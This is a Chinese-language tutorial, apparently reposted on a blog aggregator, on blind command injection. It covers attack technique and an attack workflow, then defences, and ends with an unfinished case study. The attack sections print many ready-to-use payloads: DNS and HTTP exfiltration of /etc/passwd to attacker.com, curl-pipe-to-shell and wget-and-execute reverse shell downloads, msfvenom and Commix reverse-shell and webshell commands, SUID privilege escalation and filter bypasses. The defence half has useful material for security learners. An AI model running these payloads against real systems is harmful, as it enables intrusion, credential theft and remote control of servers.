盲注命令执行(Blind Command Execution)

一、核心原理

1. 无回显命令执行的本质

盲命令执行(Blind Command Execution)是一种攻击形式,攻击者通过注入系统命令到Web应用或后端系统中,但无法直接获取命令执行结果。盲命令执行的本质在于攻击者无法直接看到执行结果(如标准输出),因此需要依赖间接反馈机制(Side-Channel Techniques)来验证命令是否成功执行。反馈信号包括但不限于页面加载时间、HTTP响应状态码、系统行为等。

盲命令执行通常发生在应用将用户输入直接拼接至系统命令时,尤其是在用户输入没有经过充分的过滤或转义的情况下。攻击者通过这种漏洞,注入恶意命令,但因为系统未返回执行结果,攻击者只能通过旁路手段(如延迟、外部请求等)来间接推断命令是否成功。

2. 关键特征

  • 无直接输出:命令执行结果不会直接显示给用户。
  • 依赖间接信号:攻击者必须依赖系统的间接反馈来推测命令执行的结果,常见的间接反馈信号包括页面加载时间延迟、系统资源状态变化(如文件的创建、修改)以及网络请求行为等。
  • 分阶段攻击:攻击者通常需要多次尝试,通过构造不同的Payload,逐步获得敏感信息或提升系统权限。

二、技术实现与攻击手法

1. 基于时间延迟(Time-Based)

原理:通过注入引发系统延迟的命令,攻击者可以根据响应时间的变化来判断命令是否执行成功。

  • 典型Payload
    • Linux:; sleep 10 或 && ping -c 5 127.0.0.1
    • Windows:| timeout 10 或 & ping -n 5 127.0.0.1

利用场景:若目标页面的响应时间显著增加(如延迟10秒),则可以确认命令注入成功。通过不同的延迟时间,攻击者还可以区分不同的命令执行结果。

技术扩展

  • 条件化延迟:结合布尔逻辑,攻击者可以在满足特定条件时引入延迟。例如,检测文件是否存在后再延迟执行:
    ; if [ -f /etc/passwd ]; then sleep 5; fi

2. 外带数据(Out-of-Band,OOB)

原理:强制目标机器向攻击者控制的外部服务器发起请求,将命令的结果外带,从而使攻击者能够获取命令输出。

  • DNS外带(隐蔽性高)
    • Linux:; nslookup $(whoami).attacker.com
    • Windows:| nslookup %USERNAME%.attacker.com

利用场景:攻击者可以监控DNS请求日志,通过外部DNS服务器获得目标机的敏感数据。例如,获取用户名信息或其他系统数据。

  • HTTP请求:通过向攻击者控制的服务器发送HTTP请求,将命令结果外带。例如,使用curl或wget发送数据:
    ; curl Attacker - The Domain Name Attacker.com is Now For Sale. / | base64)
  • SMB/UNC路径(Windows特有):利用Windows系统自动解析UNC路径的特性,触发目标系统向攻击者服务器发送网络请求。
    | dir \\attacker.com\share

3. 文件写入与读取

原理:将命令结果写入文件,再通过其他手段读取该文件,进而获取命令执行结果。

  • 典型步骤
    • 写入文件:将命令输出写入目标文件,如:
      ; ls / > /var/www/html/result.txt
    • 访问文件:通过Web请求读取该文件内容:
      http://target.com/result.txt

高级技巧

  • 分块写入:受命令长度限制时,攻击者可以通过追加写入将数据分成多个块保存。
  • 编码绕过:通过对敏感字符进行Base64或十六进制编码来绕过输入过滤。例如,编码斜杠(/)或空格字符。

4. 布尔型盲注(Boolean-Based)

原理:通过条件语句来判断系统中某些特定条件是否成立,从而引发页面的不同响应,攻击者根据响应差异来判断命令执行结果。

  • 示例
    ; if [ -f /etc/passwd ]; then true; else false; fi

利用场景:如果目标文件存在,返回的响应为正常;若文件不存在,则可能返回错误状态码或页面内容差异,攻击者可以通过这种差异来推断目标文件的存在与否。

5. 编码与过滤绕过

常见绕过技术

  • 特殊字符分割:使用%0a(换行符)、%0d(回车符)、$()或反引号分隔命令,绕过过滤。
    cmd=invalid%0a whoami
  • 编码混淆
    • Base64:将命令用Base64编码,然后解码执行。
      echo "whoami" | base64 -d | bash
    • 十六进制:通过十六进制字符来表示命令内容。
      echo "77686F616D69" | xxd -r -p | bash

三、攻击流程与工具

盲命令执行的攻击流程需要结合技术手段与工具,分阶段验证漏洞、提取信息并扩大攻击面。以下从攻击流程的每个环节及配套工具展开详细说明。

1. 攻击流程详解

阶段一:检测注入点

目标:确认目标是否存在命令注入漏洞,并判断是否为盲注类型。

核心方法

  • 基础Payload测试
    输入简单命令分隔符(如
    ;&|)并观察响应差异。例如:
    http://target.com/api?input=test;id
    若返回错误(如500状态码),可能说明命令执行失败,但仍需进一步验证是否为盲注。
  • 时间延迟验证
    注入导致延时的命令,观察响应时间是否显著增加:
  • Linux
    http://target.com/api?input=test%3B+sleep+10+%23  # URL编码后的; sleep 10 #
  • Windows
    http://target.com/api?input=test%26+timeout+10    # & timeout 10
    判断依据:若页面响应时间增加约10秒,则存在盲注漏洞。

工具辅助

  • Burp Suite Intruder
    使用
    timeoutsleep的变体(如5秒、15秒)批量发送请求,通过响应时间排序快速识别成功Payload。
  • 配置示例
    • 攻击类型:Pitchfork(多参数组合)。
    • Payload:时间参数(5, 10, 15)与命令分隔符(;%0a|)。
  • 手动技巧
    • 结合错误回显:若目标偶尔返回错误信息(如sh: sleep: not found),可推断系统环境。
    • 使用无害命令:优先测试pingsleep,避免触发防御机制(如WAF拦截rm -rf)。

 

阶段二:确定操作系统与命令环境

目标:识别目标系统类型(Linux/Windows)及可用命令(如是否支持curlnslookup

差异化命令测试

  • Linux特征命令
    ; ls /tmp      
    # 测试目录是否存在
    ; which python  # 检查解释器路径
  • Windows特征命令
    | dir C:\Windows 
    | where cmd.exe 

环境变量探测

  • Linux; echo $PATH
  • Windows| echo %PATH%

工具辅助

  • Commix
    自动化识别操作系统并适配Payload:
    commix -u "
    http://target.com/api?input=test" --os-cmd=unix
  • 参数说明
    • --os-cmd:指定系统类型(unixwindows)。
    • --force-os:强制指定系统(适用于模糊场景)。

 

阶段三:分阶段提取数据

目标:通过盲注逐字节提取敏感信息(如配置文件、用户凭证)。

子阶段1:单字符提取(Boolean-Based)

原理:通过条件判断逐字符获取数据。例如,判断文件某字符是否为特定值。

示例(读取/etc/passwd首字符)

# 判断首字符是否为 'r'
; if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi

若响应延迟5秒,则首字符为r(即root用户标识)。

自动化工具

  • SQLMap(时间盲注模式)
    虽然SQLMap主要用于SQL注入,但其时间盲注逻辑可适配命令注入场景:
    sqlmap -u "
    http://target.com/api?input=test*" --technique=T --delay=5 --prefix="%3B" --suffix="%23" --string="success" 
  • 参数解析
    • --technique=T:时间盲注技术。
    • --prefix/--suffix:注入点前缀(;)和后缀(#注释符)。

子阶段2:批量外带数据(OOB)

适用场景:需要快速获取大量数据(如文件内容)。

DNS外带(Linux示例)
; for i in $(cat /etc/passwd | base64 | fold -w10); do nslookup $i.attacker.com; done

步骤解析

  1. /etc/passwd内容Base64编码并按每10字符分块。
  2. 通过DNS查询将每块数据发送到攻击者控制的域名(attacker.com)。
  3. 攻击者从DNS日志拼接并解码数据。

工具辅助

DNSLog平台(如ceye.io)

  • 注册账号并获取子域名(如xxx.ceye.io)。
  • 注入Payload:
    ; nslookup $(whoami).xxx.ceye.io
  • 在平台查看DNS查询记录,提取whoami结果。

 

阶段四:横向渗透与权限提升

目标:利用已获取的权限攻击内网其他系统或提权至更高账户。

子阶段1:内网扫描

  • 存活主机探测
    ; for i in {1..254}; do ping -c1 192.168.1.$i; done
  • 优化技巧:将结果写入文件并通过HTTP外带:
    ; for i in {1..254}; do ping -c1 192.168.1.$i && echo "192.168.1.$i" >> /tmp/ips.txt; done 
    ; curl -X POST -d @/tmp/ips.txt
    Attacker - The Domain Name Attacker.com is Now For Sale.

子阶段2:权限提升(Linux)

常见漏洞利用

  • SUID提权:查找具有SUID权限的可执行文件:
    ; find / -perm -4000 2>/dev/null
  • 若发现/usr/bin/find,使用以下命令提权:
    ; find . -exec /bin/sh -p \; -quit

工具辅助

  • LinPEAS:自动化Linux提权脚本,通过盲注下载并执行:
    ; curl
    Attacker - The Domain Name Attacker.com is Now For Sale. | sh
  • 盲注适配:若目标无外连权限,需分块传输脚本并手动拼接。

 

2. 关键工具详解

工具1:Burp Collaborator

用途:自动化检测OOB漏洞,无需自建服务器。

操作流程

  1. 生成Collaborator域名
  • 在Burp Suite中点击 Burp → Collaborator client → Copy to clipboard
  1. 注入Payload
    ; nslookup $(whoami).XXXXXXX.burpcollaborator.net
  2. 查看结果
  • 返回Burp Collaborator界面,点击 Poll 查看DNS或HTTP请求记录。

优势

  • 无需配置公网服务器,适合快速测试。
  • 支持多种协议(DNS、HTTP、SMTP)。

工具2:Commix

定位:自动化命令注入利用框架,支持盲注与OOB。

核心命令

commix -u "http://target.com/vuln.php?id=1" --os=linux --technique=T --time-sec=10

  • 参数说明
    • --os:指定目标系统。
    • --technique:选择注入技术(T=时间盲注,O=OOB)。
    • --time-sec:延迟时间(用于时间盲注)。

高级功能

  • 文件上传:利用命令注入上传Webshell:
    commix --file-upload="/local/path/shell.php" --file-dest="/var/www/html/"
  • 交互式Shell:通过注入建立反向Shell:
    commix --reverse-shell=10.0.0.1:4444

工具3:Metasploit

场景:生成定制化Payload并自动化利用盲注漏洞。

操作示例

  1. 生成反向Shell Payload
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf
  2. 注入下载命令
    ; wget
    Attacker - The Domain Name Attacker.com is Now For Sale. -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell
  3. Metasploit监听
    use exploit/multi/handler 
    set PAYLOAD linux/x64/shell_reverse_tcp 
    set LHOST 10.0.0.1 
    run

工具4:tcpdump(用于OOB流量分析)

用途:在攻击者服务器上抓取外带数据包。

示例(监控DNS请求)

tcpdump -i eth0 'udp port 53' -vv | grep "attacker.com"

输出解析

  • 若捕获到查询admin.attacker.com,说明whoami结果为admin

 

3. 攻击流程中的对抗与绕过

绕过过滤规则

  • 案例1:空格过滤
    绕过方法
    :使用${IFS}(Linux)或%09(Tab的URL编码)代替空格:
    ; cat${IFS}/etc/passwd
  • 案例2:关键词黑名单(如cat
    绕过方法
    :使用tacmore或反斜杠分割:
    ; t\ac /etc/passwd

应对无外连场景

  • 方法1:HTTP分块传输
    将数据分块写入Web目录,再通过爬虫拼接:
    ; for i in $(seq 1 10); do cat /etc/passwd | cut -c$((i*10-9))-$((i*10)) > /var/www/html/chunk$i; done
    攻击者依次访问
    chunk1chunk10合并数据。
  • 方法2:ICMP隧道
    使用工具(如ptunnel)通过Ping包外带数据:
    ; ./ptunnel -x "echo $(whoami) | xxd -p" -d attacker.com

 

4. 攻击流程总结图

检测注入点 → 确定OS/环境 → 分阶段提取数据 → 横向渗透/提权 
   │                    │                            │                         │ 
   ├─时间延迟    ├─命令差异化测试  ├─布尔盲注         ├─内网扫描 
   ├─错误回显    ├─环境变量探测      ├─OOB外带        ├─漏洞利用 
   └─工具辅助    └─工具识别            └─文件操作          └─持久化 

通过以上流程与工具的组合,攻击者可在无回显场景下高效利用盲命令执行漏洞。防御方需结合输入过滤、行为监控与网络隔离,形成多层防护体系。

四、防御策略

盲命令执行的防御需从代码安全、系统权限、网络架构、监控响应四个层面构建纵深防御体系。以下从技术实现、工具集成、最佳实践三个维度展开说明。

1. 输入过滤与白名单

(1)危险字符过滤

  • 核心原则:禁止命令分隔符与特殊符号,而非仅依赖黑名单。
  • 过滤策略
  • 正则表达式过滤
    # 示例:过滤Linux/Windows常见命令分隔符
    import re
    dangerous_pattern = re.compile(r'[;&|$()`\n\r\t{}]') 
    if dangerous_pattern.search(user_input): 
        raise ValidationError("非法字符!") 
  • 编码规范化
    对输入进行URL解码(如
    %0a→换行符)、Unicode解码后再过滤,防止编码绕过。
  • 绕过对抗案例
  • 反斜杠分割绕过l\s → ls → 过滤ls但未过滤l\s
    防御方案:在过滤前标准化输入,合并连续转义符。
  • 环境变量注入${PATH:0:1} → 可能返回/
    防御方案:禁用$符号或限制变量展开功能。

(2)白名单验证

  • 适用场景:输入内容需符合严格格式(如数字ID、邮箱、固定路径)。
  • 实现示例
    // 仅允许数字和字母
    if (!userInput.matches("^[a-zA-Z0-9]+$")) { 
        throw new IllegalArgumentException("非法输入!"); 
    }
  • 动态白名单技术
    使用机器学习模型(如正则表达式生成库
    regen)动态识别合法输入模式,适应业务变化。
  • 工具集成
  • ModSecurity(WAF):通过规则集(如OWASP CRS)拦截危险字符。
    示例规则:
    SecRule ARGS "@rx [;|&`]" "id:1001,deny,status:400,msg:'命令注入攻击'"

 

2. 安全API使用

(1)避免直接调用系统命令

  • 替代方案
  • 编程语言内置函数
  • PHP:使用escapeshellarg转义参数,而非直接拼接命令。
    $safe_input = escapeshellarg($_GET['input']); 
    system("ls " . $safe_input); 
    // 输入含空格或引号时仍安全
  • Python:优先使用subprocess.run的列表形式传参。
    import subprocess 
    subprocess.run(['ls', user_input], shell=False) 
    # 禁止shell=True
  • 高危函数禁用
    在代码审查中标记以下函数:
  • PHPsystem()exec()passthru()shell_exec().
  • Pythonos.system()os.popen().
  • JavaRuntime.getRuntime().exec().

(2)参数化执行

  • 设计模式
    将用户输入作为参数传递给固定命令模板,而非动态拼接。

    正确示例
    # 只允许查询固定目录
    allowed_dirs = {"log", "config"} 
    if dir_name not in allowed_dirs: 
        abort(403) 
    subprocess.run(["ls", f"/var/{dir_name}"]) 
  • 沙箱环境
    使用容器(如Docker)或虚拟机运行高风险命令,限制逃逸影响。
    FROM alpine 
    COPY read_only_script.sh /script/ 
    RUN chmod 500 /script/read_only_script.sh 
    USER nobody 

 

3. 权限最小化

(1)服务账户降权

  • Linux实践
  • 创建专用低权限用户:
    useradd -r -s /bin/false appuser 
    chown -R appuser:appuser /var/www 
  • Capability限制
    移除非必要权限(如
    CAP_NET_RAW禁用ping):
    setcap -r /path/to/binary 
  • Windows实践
  • 使用“服务账户”运行IIS或应用程序,移除Administrators组权限。
  • 配置组策略(GPO):限制命令解释器(cmd.exe、PowerShell)的执行权限。

(2)文件系统隔离

  • 目录权限控制
  • Linux
    chmod 755 /var/www/html   
    # Web目录禁止执行权限 
    chattr +i /etc/passwd      # 关键文件设置为不可修改 
  • Windows
    使用ACL禁止IIS用户写入系统目录(如
    C:\Windows\System32)。
  • 高级防护
  • SELinux/AppArmor(Linux)
    限制进程的文件访问范围(如仅允许读取Web日志)。

    # AppArmor配置文件示例 
    /usr/bin/nginx { 
      /var/log/nginx/* rw, 
      deny /etc/passwd, 
  • 文件完整性监控(FIM)
    使用工具(如Tripwire、OSSEC)检测敏感文件篡改。

 

4. 网络防护

(1)限制外连访问

  • 防火墙规则(Linux iptables示例)
    # 仅允许HTTP/HTTPS出站 
    iptables -A OUTPUT -p tcp --dport 80 -j ALLOW 
    iptables -A OUTPUT -p tcp --dport 443 -j ALLOW 
    iptables -A OUTPUT -j DROP   
    # 默认禁止其他出站连接 
  • 应用层限制
  • 禁用危险命令的外连功能(如curlwget):
    # 通过文件权限限制 
    chmod 700 /usr/bin/curl 
    chown root:root /usr/bin/curl 

(2)日志监控与异常检测

  • 关键日志源
  • 系统命令审计(Linux auditd)
    auditctl -a always,exit -F arch=b64 -S execve  
    # 记录所有命令执行 
  • DNS查询日志:监控异常域名请求(如随机子域名)。
  • SIEM集成
    使用ELK、Splunk等平台聚合日志,设置告警规则:

    // 示例:5分钟内超过10次DNS外连请求 
    event_type = "dns_query" AND domain LIKE "%.attacker.com" 
    | stats count by src_ip 
    | where count > 10 
  • 威胁情报联动
    集成威胁情报平台(如MISP),自动拦截已知恶意域名请求。

(3)网络架构隔离

  • 分段设计
  • DMZ区:部署对外服务,禁止DMZ服务器访问内网。
  • 管理网络:通过跳板机(Bastion Host)访问关键系统,启用双因素认证(2FA)。
  • 微隔离(Micro-Segmentation)
    使用软件定义网络(SDN)或云安全组,限制服务间通信仅开放必要端口。

 

5. 纵深防御补充措施

(1)运行时防护

  • RASP(Runtime Application Self-Protection)
    在应用运行时检测命令注入行为(如Java Agent拦截
    ProcessBuilder调用)。
  • 工具:OpenRASP、ModSecurity嵌入式模块。

(2)漏洞缓解(零日防护)

  • 操作系统级防护
  • Linux Seccomp:限制进程可用的系统调用。
    # 仅允许read/write/open等必要syscall 
    seccomp_profile = { ... } 
  • Windows Defender ATP:实时检测恶意进程链。

(3)应急响应

  • 攻击阻断
    • 自动隔离可疑IP(与防火墙联动)。
    • 强制重启服务或容器实例。
  • 取证分析
    保留进程内存快照、网络抓包数据(
    tcpdump),用于事后溯源。

 

6. 防御体系全景图

输入过滤 → 安全API → 权限控制 → 网络隔离 → 日志监控 
   │          │           │             │            │ 
   ├─正则匹配   ├─沙箱隔离    ├─文件权限      ├─防火墙规则    ├─SIEM告警 
   ├─编码处理   ├─参数化执行   ├─SELinux      ├─微隔离        ├─威胁情报 
   └─WAF       └─禁用危险函数  └─低权账户      └─DNS过滤       └─RASP 

通过以上策略的组合应用,可大幅提升盲命令执行的攻击成本。防御方需持续更新规则、模拟攻击测试(如红队演练),并建立自动化响应机制,形成闭环防护。

五、案例分析与实战技巧

案例1:通过时间延迟探测文件存在性

场景:目标Web应用存在命令注入漏洞,但无回显。

攻击步骤

  1. 注入Payload:http://target.com/api?cmd=ping%20-c%205%20127.0.0.1
  2. 观察响应时间,若延迟5秒,则确认漏洞存在。

逐字符读取文件

; if [ $(cut -c1 /etc/passwd) = "r" ]; then sleep 5; fi

通过多次尝试判断文件首字符是否为r(root用户标识)。

案例2:利用DNS外带窃取数据

场景:目标服务器无法直接外连HTTP,但允许DNS查询。

攻击步骤

  1. 注入Payload:; nslookup $(cat /etc/passwd | base64).attacker.com
  2. 监控DNS日志,获取Base64编码的/etc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/78355.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux多线程技术

什么是线程 在一个程序里的多执行路线就是线程。线程是进程中的最小执行单元,可理解为 “进程内的一条执行流水线”。 进程和线程的区别 进程是资源分配的基本单位,线程是CPU调度的基本单位。 fork创建出一个新的进程,会创建出一个新的拷贝&…

计算机组成原理实验(1) 算术逻辑运算单元实验

实验一 算术逻辑运算单元实验 一、实验目的 1、掌握简单运算器的数据传输方式 2、掌握74LS181的功能和应用 二、实验内容 1、不带进位位逻辑或运算实验 2、不带进位位加法运算实验 3、实验指导书2.15实验思考 三、实验步骤和结果 实验内容一:不带进位…

Android将启动画面实现迁移到 Android 12 及更高版本

如果在 Android 11 或更低版本中实现自定义启动画面,请迁移应用迁移到 SplashScreen API 以获取帮助 确保其在 Android 12 及更高版本中正确显示。 从 Android 12 开始,在所有应用的冷启动和温启动期间,系统都会应用 Android 系统的默认启动…

692. 前K个高频单词(map的练习)

目录 1、题目分析 2.解题思路 3.代码实现 4.总结 1、题目分析 2.解题思路 首先它给出我们一个string,让我们提取出它们中出现次数最多的。利用map将word一个一个存入其中,没有就插入,有了就1,这样我们就得到了key_value&#…

如何创建极狐GitLab 议题?

极狐GitLab 是 GitLab 在中国的发行版,关于中文参考文档和资料有: 极狐GitLab 中文文档极狐GitLab 中文论坛极狐GitLab 官网 创建议题 (BASIC ALL) 创建议题时,系统会提示您输入议题的字段。 如果您知道要分配给议题的值,则可…

day32 学习笔记

文章目录 前言一、霍夫变换二、标准霍夫变换三、统计概率霍夫变换四、霍夫圆变换 前言 通过今天的学习,我掌握了霍夫变换的基本原本原理及其在OpenCV中的应用方法 一、霍夫变换 霍夫变换是图像处理中的常用技术,主要用于检测图像中的直线,圆…

图解YOLO(You Only Look Once)目标检测(v1-v5)

1. YOLO系列整体介绍 YOLO属于深度学习经典检测方法中的单阶段(one - stage)类型,与两阶段(two - stage,如Faster - rcnn、Mask - Rcnn系列)方法相对。 不同模型性能 单阶段方法的最核心优势是速度非常快…

C# 类型、存储和变量(静态类型和dynamic关键字、可空类型)

本章内容 C#程序是一组类型声明 类型是一种模板 实例化类型 数据成员和函数成员 预定义类型 用户定义类型 栈和堆 值类型和引用类型 变量 静态类型和dynamic关键字 可空类型 静态类型和dynamic关键字 你可能巳经注意到了,每一个变量都包括变量类型。这样编译器就可…

信奥赛之c++基础(初识循环嵌套与ASCII密码本)

🎠 游乐园编程奇遇记——循环嵌套与ASCII密码本 🎡 第一章:摩天轮与旋转木马——循环嵌套 🎪 游乐场里的双重循环 for(int 排数=1; 排数<=3; 排数++){// 外层循环像摩天轮for(int 座位=1; 座位<=5; 座位++){// 内层循环像旋转木马cout << "🎪"…

Spine 动画教程:皮肤制作

一、前言 搁了很久的抖音直播小玩法开发&#xff0c;最近又让我想起来了。由于是初次尝试&#xff0c;所以我将开发费用的预算降到为零。不但不买服务器采用 UnitySDK 的指令直推&#xff0c;而且游戏的资产也用 AI 生成&#xff0c;主打省时又省钱。 但是图片有了&#xff0…

论文阅读笔记——π0.5: a Vision-Language-Action Model with Open-World Generalization

π0.5 论文 通过异构数据协同训练与分层推理&#xff0c;用中等规模的目标数据&#xff08;400小时&#xff09;实现了大规模泛化能力&#xff0c;为现实世界机器人学习提供了新范式。 高层推理(high-level) 根据当前观测和任务指令预测子任务&#xff08;如“打开抽屉”&…

记录搭建自己应用中心

记录搭建自己应用中心 应用架构主应用-管理中心系统文件系统子应用 日志系统日志系统前端日志系统后端 用户系统接入使用暂未完成 研发管理需求面板消息推送任务分配应用发布 应用架构 一直想做个试试&#xff0c;这是一个简易版的&#xff0c;主要是整合下知识的&#xff0c;…

【网工第6版】第5章 网络互联⑦

目录 ▲ 路由协议OSPF ◎ OSPF简介 ◎ OSPF特点 本章重要程度&#xff1a;☆☆☆☆☆ ▲ 路由协议OSPF ◎ OSPF简介 OSPF(Open Shortest Path First,开放式最短路径优先协议)是目前应用最广泛的路由协议。 OSPF是一种内部网关协议IGP&#xff0c;也是链路状态路由协议&am…

5.3 Dify:低代码平台,适用于企业快速部署合规AI应用

Dify作为一款开源低代码平台&#xff0c;已成为企业快速构建和部署合规AI应用的首选工具。Dify通过整合后端即服务&#xff08;Backend-as-a-Service, BaaS&#xff09;、大型语言模型操作&#xff08;LLMOps&#xff09;以及直观的视觉化界面&#xff0c;显著降低了AI应用开发…

AI 编程工具:Augment Code

Meet Augment Agent: Your AI pair programmer that deeply understands your codebase, and learns as you work Augment 是开发人员AI平台&#xff0c;它可以帮助您理解代码、调试问题&#xff0c;并更快地发布&#xff0c;因为它了解您的代码库。使用聊天、Next Edit和Augme…

vc++ 如何调用poco库

1. 下载并安装 Poco 库 你可以从 Poco 的官方网站&#xff08;POCO C Libraries - Simplify C Development &#xff09;下载其源代码压缩包。下载完成后&#xff0c;按照下面的步骤进行编译和安装&#xff1a; 解压源代码&#xff1a;把下载的压缩包解压到指定目录。配置编译…

浅谈OpenAIClaude LLM Tools的额外配置

前言 https://platform.openai.com/docs/guides/function-calling?api-modechat&strict-modedisabled#additional-configurationshttps://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview#forcing-tool-use tool_choice “none” 就是不用tools&#x…

SystemWeaver详解:从入门到精通的深度实战指南

SystemWeaver详解&#xff1a;从入门到精通的深度实战指南 文章目录 SystemWeaver详解&#xff1a;从入门到精通的深度实战指南一、SystemWeaver环境搭建与基础配置1.1 多平台安装全流程 二、新手必学的十大核心操作2.1 项目创建全流程2.2 建模工具箱深度解析 三、需求工程与系…

力扣DAY68 | 热100 | 寻找两个正序数组的中位数

前言 困难 ○ 这题搞了3天实在太难了&#xff0c;本质就是每次排除k/2个数&#xff0c;直到找到第k个数。 题目 给定两个大小分别为 m 和 n 的正序&#xff08;从小到大&#xff09;数组 nums1 和 nums2。请你找出并返回这两个正序数组的 中位数 。 算法的时间复杂度应该为…

Linux常见故障:排查思路与错误分析指南

引言 当Linux系统"生病"时&#xff0c;它不会说话但却会通过各种症状"求救"&#x1f198;&#xff01;本文将带你建立系统化的故障排查思维&#xff0c;从磁盘到内存&#xff0c;从网络到服务&#xff0c;全方位掌握Linux系统的"把脉问诊"技巧。…